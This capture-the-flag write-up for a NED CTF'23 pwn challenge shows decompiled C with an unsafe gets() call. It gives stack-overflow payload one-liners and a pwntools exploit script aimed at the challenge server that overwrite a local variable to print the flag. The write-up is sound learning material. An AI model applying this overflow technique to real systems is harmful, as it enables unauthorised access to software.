- Published on
NED CTF'23 - Pwn - Variable
- Authors
- Name
- Ali Taqi Wajid
- @alitaqiwajid
Challenge Description
Navigate the binary labyrinth and bend variables to your will.
Author: Saad Akhtar
nc 159.223.192.150 9003
Solution
Downloading the variable.zip
, we get the following files
The file
security checks on the binary are as follows
Let's run the variable
binary to check what it does
Okay, let's disassemble and check the functions inside ghidra
We can see a function called authenticator
, which seems to be the function that checks if we have the correct password. The disassembled function is as follows
void authenticator(void) {
char *pcVar1;
char local_168 [256];
char local_68 [16];
char local_58 [64];
FILE *local_18;
int local_c;
local_c = -0x11e2153;
printf("\n\n\nEnter the username: ");
gets(local_58);
printf("\nHello %s!\n",local_58);
printf("\nPlease enter the secret password: ");
fgets(local_68,0x10,stdin);
if (local_c == -0x350c454d) {
local_18 = fopen("flag.txt","r");
if (local_18 == (FILE *)0x0) {
puts("\nError: could not open file");
}
else {
printf("\nAccess Granted!\nHere\'s the flag: ");
while( true ) {
pcVar1 = fgets(local_168,0x100,local_18);
if (pcVar1 == (char *)0x0) break;
printf("%s",local_168);
}
fclose(local_18);
}
}
else {
printf("\nAccess Denied!");
}
return;
}
Now, inside ghidra, we'll press l
to rename variables, let's rename the variables accordingly and then the function becomes
void authenticator() {
char *ret;
char flagBuffer [256];
char secretPass [16];
char userBuffer [64];
FILE *fd_flag;
int toOverwrite;
toOverwrite = L'\xfee1dead';
printf("\n\n\nEnter the username: ");
gets(userBuffer);
printf("\nHello %s!\n",userBuffer);
printf("\nPlease enter the secret password: ");
fgets(secretPass,0x10,stdin);
if (toOverwrite == L'\xcaf3bab3') {
fd_flag = fopen("flag.txt","r");
if (fd_flag == (FILE *)0x0) {
puts("\nError: could not open file");
}
else {
printf("\nAccess Granted!\nHere\'s the flag: ");
while( true ) {
ret = fgets(flagBuffer,0x100,fd_flag);
if (ret == (char *)0x0) break;
printf("%s",flagBuffer);
}
fclose(fd_flag);
}
}
else {
printf("\nAccess Denied!");
}
return;
}
Now, we can understand quite easily what the function is doing. and see that gets
function to perform our buffer overflow on. Let's understand the flow of this function:
- Asking for username (gets) [unsafe]
- Asking for secret password (fgets) [safe]
- Checking if
toOverwrite
variable is0xcaf3bab3
[Hardcoded value is 0xfee1dead]
Exploitation
So, in order to overwrite the toOverwrite
variable, we need to overflow the userBuffer
variable. We're dealing with an x64
binary, and the buffer size is 64, in order to overflow the toOverwrite
variable, we need to overflow the userBuffer
variable and then the toOverwrite
variable.
So, we need to do some basic maths. Firstly, the buffer is of 64 bytes. In order to overflow this, we need to add 8 bytes to it, i.e. 72 bytes. Now, in order to find the offset of the variable, let's set a breakpoint on authenticator
function inside gdb and then run the binary
(gdb) b *authenticator
Now, we can see that the data of toOverwrite
is being stored [rbp-4]. So, in our 72 bytes, we need to add 4 more bytes, and then the 4 byte dword i.e. 0xcaf3bab3
. So, our payload will be
python -c "print('A'*72 + '\x90' * 4 + '\xb3\xba\xf3\xca')" | ./variable
Now, it's recommended that we add NOPS
to avoid mistakenly messing up the stack. So, let's redirect this exact payload to our nc listener:
python -c "print('A'*72 + '\x90' * 4 + '\xb3\xba\xf3\xca')" | nc 159.223.192.150 9003
For some reason, it got stuck here, to fix this, i added a newline ('\x0a')
to the payload, and it worked
python -c "print('A'*72 + '\x90' * 4 + '\xb3\xba\xf3\xca' + '\x0a')" | nc 159.223.192.150 9003
NOTE: If someone can explain to me, in detail why we need \n, please do so on Discord (TheFlash2k). Also, why I think we need the newline is that the
fgets
function is waiting for a newline, and we're not providing it, so it's stuck there. I may be wrong, or may be right, but I'm not sure. I just added it there and the exploit worked.
Flag: NCC{s3cr3t_ov3rr1d3n_pwn3d}
Now, the exploit.py for this is as follows:
#!/usr/bin/env python3
from pwn import *
import sys
import re
_bin = "./variable"
elf = context.binary = ELF(_bin)
if len(sys.argv) == 2 and sys.argv[1].lower() == "remote":
io = remote('159.223.192.150', 9003)
else:
io = process(_bin)
io.recv()
payload = flat(
[
b"A" * 72,
b"\x90" * 4,
p32(0xcaf3bab3),
b'\n' # can be 0x0a
]
)
io.sendline(payload)
buf = io.recv().decode('latin-1')
print(buf)